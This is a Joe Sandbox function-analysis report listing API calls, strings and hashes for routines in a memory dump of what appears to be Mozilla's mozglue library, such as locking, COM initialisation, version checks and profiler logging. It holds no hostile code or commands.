?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE), ref: 6C56B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B896

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 056de08eb871c68b9fb156eacd572af6206505577feea03f113616a50001aa87
Instruction ID: c4f2494be7dc27da0a316b50a3b993aed61b8b9c4701dbf64ccdf70c48e6235d
Opcode Fuzzy Hash: 056de08eb871c68b9fb156eacd572af6206505577feea03f113616a50001aa87
Instruction Fuzzy Hash: 9B5180357006008FCB15EF5AC884A6AB7F6FF89318B59895DE98697761C731EC01DB84

Function 6C5A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5A1BE3,?,?,6C5A1D96,00000000), ref: 6C5A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5A1BE3,?,?,6C5A1D96,00000000), ref: 6C5A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5A1DDA

Part of subcall function 6C5A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5A1F03
Part of subcall function 6C5A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5A1DF2,00000000,00000000), ref: 6C5A1F0C
Part of subcall function 6C5A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5A1DF4

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 00b1f788fcbd380a476260b25825ae495a5768b00c17d04e5d5e0f89903c8f36
Instruction ID: 25f008767afdc903688e1ed0f56605bc52b7300379996a52ae814dc8e443967d
Opcode Fuzzy Hash: 00b1f788fcbd380a476260b25825ae495a5768b00c17d04e5d5e0f89903c8f36
Instruction Fuzzy Hash: CB4165B5200701DFCB10DF69C888A5ABBF9FB89314F11442EE99A87B41DB71F854CB99

Function 6C5984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5985AC

Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59767F
Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C597693
Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5985B2

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 13e0c421b280945afeca5ec8f038e0b20642a558869ce784dd61fcbded614d9b
Instruction ID: 7790f20cb0060cab3f0587531388ee39d5f64b74c2895f6d6fd27d204333c4dc
Opcode Fuzzy Hash: 13e0c421b280945afeca5ec8f038e0b20642a558869ce784dd61fcbded614d9b
Instruction Fuzzy Hash: D0218E74201741AFDB14DB28CC88A5AB7B5AF8430CF25496DE55BC3B42EB31F948CB56

Function 6C561640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C561699
VerSetConditionMask.NTDLL ref: 6C5616CB
VerSetConditionMask.NTDLL ref: 6C5616D7
VerSetConditionMask.NTDLL ref: 6C5616DE
VerSetConditionMask.NTDLL ref: 6C5616E5
VerSetConditionMask.NTDLL ref: 6C5616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5616F9

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 33ae376971f5597daaab1e4c9706fecd7a99a1b91fa6f4ee858dfe557460f92a
Instruction ID: 526b77df5e862dd1dceb026e453135b66609040d30f38f6192238c850f1e5f76
Opcode Fuzzy Hash: 33ae376971f5597daaab1e4c9706fecd7a99a1b91fa6f4ee858dfe557460f92a
Instruction Fuzzy Hash: 182102B07403086BEB106A68CC85FBFB3BCEFC6704F014528F6459B6C0C6B8AE44C6A5

Function 6C59F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C59F598), ref: 6C59F621

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F637
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F645
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C59F62A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: a866f9a511bb9592c761aaec4432632335a46dc0686eb6ea71a9e43dcec82f61
Instruction ID: 2481b51afec9d4fca265a5e7bf36deed4a98e3a320a62fbefe75e73124dd186e
Opcode Fuzzy Hash: a866f9a511bb9592c761aaec4432632335a46dc0686eb6ea71a9e43dcec82f61
Instruction Fuzzy Hash: DD11C171201305EBCA00AF59CC489A5777AFB86359B550155FA0583F01CB72BC11CBAD

Function 6C562070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,6C561C5F), ref: 6C5620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5620CD
__Init_thread_footer.LIBCMT ref: 6C5620E1
FreeLibrary.KERNEL32 ref: 6C562124

Strings

CoInitializeSecurity, xrefs: 6C5620C7
combase.dll, xrefs: 6C5620A9

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 94ae72decde3747a11dcbcef5a49422d9cf3b3f1bcc1f1939865b4bdf292c3d7
Instruction ID: 2f311812beb013c95eb392292f4e81b5c926adb29ebeacd9429e34781d6d443f
Opcode Fuzzy Hash: 94ae72decde3747a11dcbcef5a49422d9cf3b3f1bcc1f1939865b4bdf292c3d7
Instruction Fuzzy Hash: 6A21CF36200309EFDF00CF9ADC48D8A3FB6FB4A325F028214FA0092A61D731A861DF58

Function 6C5B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C5B7705

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C5B778F,00000000,00000000,00000000,00000000), ref: 6C5B7731
free.MOZGLUE(00000000), ref: 6C5B7760

Strings

}>Yl, xrefs: 6C5B76C4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Yl
API String ID: 2538299546-3113854121
Opcode ID: ebf6555db7841783a4e7fc043384b3ed27c0c3989b3be18be6f0752cce1ad3b7
Instruction ID: 35f2bbd3884e0e886ebd44c2ce854bfd27a4b97ff89962b58128950015440e73
Opcode Fuzzy Hash: ebf6555db7841783a4e7fc043384b3ed27c0c3989b3be18be6f0752cce1ad3b7
Instruction Fuzzy Hash: 5811B6B1900315ABDB10AF768C44B6B7EE8EF45354F044429F848A7300E7709C4087F2

Function 6C561FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C561FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C561FFD
__Init_thread_footer.LIBCMT ref: 6C562011
FreeLibrary.KERNEL32 ref: 6C562059

Strings

combase.dll, xrefs: 6C561FD9
CoCreateInstance, xrefs: 6C561FF7

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2dc734d1f5211c225574fdfba55ac9fad9a4ffe34979f2a91728537a0004d70c
Instruction ID: 60c460a566ed4d804833e17fb5b0457405d6d95b9a359a21597768b628d17c52
Opcode Fuzzy Hash: 2dc734d1f5211c225574fdfba55ac9fad9a4ffe34979f2a91728537a0004d70c
Instruction Fuzzy Hash: AD114C75201305EFDF10DF56CC4DE9A3B79EB8A365F028629E90592A51D731B800DBAD

Function 6C560EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C58D9F0,00000000), ref: 6C560F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C560F3C
__Init_thread_footer.LIBCMT ref: 6C560F50
FreeLibrary.KERNEL32(?,6C58D9F0,00000000), ref: 6C560F86

Strings

combase.dll, xrefs: 6C560F18
CoInitializeEx, xrefs: 6C560F36

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 20d55db1e94c14cb8b5eae354c01d83f3b68d084a608f96444e467ae1f99f075
Instruction ID: 81e143e220f377d6a36a4726c8ee807fababdee9aa54dddd8e1aa4d00b209876
Opcode Fuzzy Hash: 20d55db1e94c14cb8b5eae354c01d83f3b68d084a608f96444e467ae1f99f075
Instruction Fuzzy Hash: 4911AC743113419BDF00DF69CD08A5EB7B5EB8B326F02472AE90592B82DB70B805CA5D

Function 6C59F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F561

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F585
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C59F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C59F499
[I %d/%d] profiler_resume, xrefs: 6C59F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C59F3A8

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 900fb83a248f4620d0acfcfad3e43511ce74f82609a699f6047777bd20dce03d
Instruction ID: 24539e365b59b18fa3f2a28309ce2d113ff7dfa693941d10de35027d593138e2
Opcode Fuzzy Hash: 900fb83a248f4620d0acfcfad3e43511ce74f82609a699f6047777bd20dce03d
Instruction Fuzzy Hash: D5F0B475200345DFDA007F699C48A5A77BEFBC625EF060155FA0983702DF35AC00876D

Function 6C560E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C560DF8), ref: 6C560E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C560EA1
__Init_thread_footer.LIBCMT ref: 6C560EB5
FreeLibrary.KERNEL32 ref: 6C560EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C560E9B
kernel32.dll, xrefs: 6C560E7D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 82607cd2c2874624d80a52805ec440e18e17668cce29bd4b7e2c599bf4b593c4
Instruction ID: 80ced4610b50a26cc08482ee1b2e5fff5e06d8eb33c6c67427b5c997661f9841
Opcode Fuzzy Hash: 82607cd2c2874624d80a52805ec440e18e17668cce29bd4b7e2c599bf4b593c4
Instruction Fuzzy Hash: 12012874700392CBDE009FA9CD14A8233B6E786715F124626D90182F90DB74B8488A8E

Function 6C59F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C59F598), ref: 6C59F621

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F637
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F645
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C59F62A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: d9b5f675e7300d8cbc5d522a543226c4efbe4851b5b5568d5369d0929c91553c
Instruction ID: c5d2a93e144ddd96194b91acc3c9a312b5a9248e6dee80d15551e57c338aa5c2
Opcode Fuzzy Hash: d9b5f675e7300d8cbc5d522a543226c4efbe4851b5b5568d5369d0929c91553c
Instruction Fuzzy Hash: 51F0B475200345EFDE007B68CC48A5A777EFBC625EF060155FA0983701DB766C01876D

Function 6C5905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C58CFAE,?,?,?,6C5531A7), ref: 6C5905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C58CFAE,?,?,?,6C5531A7), ref: 6C590616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5531A7), ref: 6C59061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5531A7), ref: 6C590627

Strings

<jemalloc>, xrefs: 6C5905FA, 6C59060F
: (malloc) Error in VirtualFree(), xrefs: 6C59061B, 6C590625

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: a2339410b0e0282adafe92224de1a1d33bfe91c8b506429cee5323c728e3908d
